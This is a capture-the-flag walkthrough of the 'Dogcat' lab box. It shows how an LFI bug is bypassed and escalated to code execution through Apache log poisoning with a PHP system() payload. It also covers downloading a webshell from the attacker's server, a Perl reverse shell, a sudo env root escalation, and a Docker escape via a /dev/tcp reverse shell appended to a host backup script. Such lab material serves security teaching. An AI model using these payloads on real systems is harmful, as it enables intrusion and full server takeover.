Dogcat involves one of my favorite techniques: log file poisoning. We’ll start by enumerating a webapp and finding a LFI bug. Then we can poison the web server’s logs to escalate the LFI to RCE and pop a user shell. From there, getting root is almost too easy. That’s because we’ll find ourselves inside a Docker container, and the final challenge will be escaping to a root shell on the host. The coolest part about this box is we’ll achieve all of this without needing any credentials.


rustscan -a -- -sC -sV -oA nmap1

22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeKBugyQF6HXEU3mbcoDHQrassdoNtJToZ9jaNj4Sj9MrWISOmr0qkxNx2sHPxz89dR0ilnjCyT3YgcI5rtcwGT9RtSwlxcol5KuDveQGO8iYDgC/tjYYC9kefS1ymnbm0I4foYZh9S+erXAaXMO2Iac6nYk8jtkS2hg+vAx+7+5i4fiaLovQSYLd1R2Mu0DLnUIP7jJ1645aqYMnXxp/bi30SpJCchHeMx7zsBJpAMfpY9SYyz4jcgCGhEygvZ0jWJ+qx76/kaujl4IMZXarWAqchYufg57Hqb7KJE216q4MUUSHou1TPhJjVqk92a9rMUU2VZHJhERfMxFHVwn3H
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBouHlbsFayrqWaldHlTkZkkyVCu3jXPO1lT3oWtx/6dINbYBv0MTdTAMgXKtg6M/CVQGfjQqFS2l2wwj/4rT0s=
|   256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfp73VYZTWg6dtrDGS/d5NoJjoc4q0Fi0Gsg3Dl+M3I
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


On port 80 we have Apache 2.4.38 serving a basic website that shows random pictures of cats and dogs based on the user’s selection of which they want to see.

Dogcat homepage

There isn’t anything interesting in the source, but the reponse headers reveal the server is running PHP and its version.

HTTP/1.1 200 OK
Date: Sun, 30 May 2021 19:27:13 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.3
Vary: Accept-Encoding
Content-Length: 456
Connection: close
Content-Type: text/html; charset=UTF-8

Let’s fuzz for content next.

ffuf -t 80 -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -e .php,.html,.txt
index.php               [Status: 200, Size: 418, Words: 71, Lines: 20]
cat.php                 [Status: 200, Size: 26, Words: 3, Lines: 2]                                         
flag.php                [Status: 200, Size: 0, Words: 1, Lines: 1]                                          
cats                    [Status: 301, Size: 313, Words: 20, Lines: 10]                                      
dogs                    [Status: 301, Size: 313, Words: 20, Lines: 10]
dog.php                 [Status: 200, Size: 26, Words: 3, Lines: 2]                                         

After examining cat.php and dog.php we can conclude they are likely being included by index.php since their only content is an HTML image tag, which matches what we saw on the homepage. We also found a flag.php but it does not output anything.

└─$ curl -i         
HTTP/1.1 200 OK
Date: Sun, 30 May 2021 19:40:39 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.3
Content-Length: 27
Content-Type: text/html; charset=UTF-8

<img src="cats/10.jpg" />

We can control which file is included via the view parameter in index.php, so this means we should test thoroughly for a local file inclusion vulnerability.

First, let’s test what happens if we try including “flag” since we already know flag.php exists.

Testing for LFI

Based on the error message we see, it seems there must be at least some basic filtering in place to prevent LFI. What happens if we try something that still includes the word “cat”?

This time we get an error generated by PHP rather than the application.

Here you go!<br />
<b>Warning</b>:  include(catasdf.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  include(): Failed opening 'catasdf.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>24</b>

We get the same error if we reverse the input to asdfcat, so that confirms we can bypass the application’s filter by including “cat” or “dog” anywhere in the input.

Null byte injection won’t work here because this is PHP 7.4.3, and that bug was patched back in PHP5.

We could test for remote file inclusion by serving a local file named cat.php from our attack box.

  1. echo <?php echo "hi 6rian"; ?>' > cat.php
  2. python3 -m http.server 8888
└─$ curl -i
<b>Warning</b>:  include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  include( failed to open stream: no suitable wrapper could be found in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>24</b><br />

Okay, so we’ll have to stick with LFI.

We pretty much only have one option left which is to construct a valid path that still includes one of the approved words. We’ll only be able to include PHP files since the application appends .php to the input. That means we need to base64 encode the contents of the included file as well so the server doesn’t execute the code after inclusion.

└─$ curl -i
Here you go!

Then we can decode the response and see what the code we’re hacking is.

function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
    if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
        echo 'Here you go!';
        include $_GET['view'] . $ext;
    } else {
        echo 'Sorry, only dogs or cats are allowed.';

Actually, we can look at more than PHP files after all! From the code we can see the page also accepts an ext parameter where we can specify the file extension that gets appended to the value of view.

🏁 Before we move on, we can use this same method to retrieve the first flag from flag.php.

The next thing we want to do is see if we can take this LFI and escalate it to RCE in order to get a shell.

Let’s start by seeing if we can read Apache’s logs.

/?ext=&view=./cats/../../../../../var/log/apache2/access.log - - [30/May/2021:21:26:49 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" - - [30/May/2021:21:26:56 +0000] "GET / HTTP/1.1" 200 500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" - - [30/May/2021:21:26:56 +0000] "GET /style.css HTTP/1.1" 200 662 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" - - [30/May/2021:21:26:57 +0000] "GET /favicon.ico HTTP/1.1" 404 453 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" - - [30/May/2021:21:27:23 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" - - [30/May/2021:21:27:23 +0000] "GET /?ext=&view=./cats/../../../../../var/log/apache2/access.log HTTP/1.1" 200 747 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"

And we can! This is great because we can also write to these logs by simply making HTTP requests to the server. By including a small piece of PHP code via the User-Agent header (aka log file poisoning) we can turn this LFI bug into a webshell to execute whatever commands we want.

curl -i -A "<?php system(\$_GET['cmd']);?>"

Now if we read the log again and this time append a cmd parameter with a shell command we’ll see the output from the command in the response.

/?ext=&view=./cats/../../../../../var/log/apache2/access.log&cmd=id - - [30/May/2021:21:37:11 +0000] "GET /index.php HTTP/1.1" 200 615 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)"

Getting a User Shell

I tried using the webshell to spawn a reverse shell but didn’t have any luck. With some shellcodes I was able to get a connection but it would terminate immediately.

What we can do instead is write another webshell directly to the web root directory, meaning we can cut out the LFI, giving us a more stable webshell to work from.

From our attack machine we can use Python’s built-in web server to serve the web shell of our choice. (My preferred shell for PHP is phpbash)

Then we can poison the log again, this time with a payload that will download the shellcode from our attack machine and write it to the target.

curl -i -A "<?php file_put_contents('phpbash.php', file_get_contents(''))?>"

Next we’ll use the LFI to read the log again and execute the code we just dropped.


And now we have a stable webshell we can use to spawn a reverse shell.

PHPbash running on the target

perl -e 'use Socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Flag 2

This one is super easy to find.. just back up one directory to /var/www.

Flag 3

Checking to see if we have any sudo privileges we’ll find we can execute /usr/bin/env as root without a password, and with that we can escalate to a root shell!

sudo -l
Matching Defaults entries for www-data on a58fc514a0e5:
    env_reset, mail_badpass,

User www-data may run the following commands on a58fc514a0e5:
    (root) NOPASSWD: /usr/bin/env
sudo /usr/bin/env /bin/bash -i
sudo /usr/bin/env /bin/bash -i
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
uid=0(root) gid=0(root) groups=0(root)
cd /root
cd /root
ls -la
ls -la
total 24
drwx------ 1 root root 4096 May 31 16:03 .
drwxr-xr-x 1 root root 4096 May 31 14:48 ..
-rw------- 1 root root  104 May 31 16:03 .bash_history
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-r-------- 1 root root   35 Mar 10  2020 flag3.txt
wc -c flag3.txt
wc -c flag3.txt
35 flag3.txt

Flag 4

So if flag 3 is in the root directory, where is flag 4? After a bit of exploration we can determine we are inside a Docker container.

In /opt/backups there is a shell script and a tar archive, both named backup. If we unpack backup.tar we can see all the files start with root/container which doesn’t exist in this container’s /root directory, so the backup script must be backing up files from the host. The backups directory is probably a shared folder between the host and container.

tar cf /root/container/backup/backup.tar /root/container

Since we can write to this script we can insert a line of shellcode to spawn a shell from the host the next time the script runs. By watching the timestamps on the archive we can see it runs every minute.

ls -l
total 5760
-rwxr--r-- 1 root root      69 Mar 10  2020
-rw-r--r-- 1 root root 5888000 Jun  1 12:13 backup.tar
ls -l
total 5760
-rwxr--r-- 1 root root      69 Mar 10  2020
-rw-r--r-- 1 root root 5888000 Jun  1 12:14 backup.tar

Let’s open another netcat listener on a different port: nc -nlvp 4545

And then append our shellcode to

echo 'bash -i >& /dev/tcp/ 0>&1' >>

Within a minute we’ll have a root shell on the host and can grab the final flag!

└─$ nc -nlvp 4545
listening on [any] 4545 ...
connect to [] from (UNKNOWN) [] 57660
bash: cannot set terminal process group (3112): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dogcat:~# cd /root
cd /root
root@dogcat:~# ls -l
ls -l
total 8
drwxr-xr-x 5 root root 4096 Mar 10  2020 container
-rw-r--r-- 1 root root   80 Mar 10  2020 flag4.txt
root@dogcat:~# wc -c flag4.txt
wc -c flag4.txt
80 flag4.txt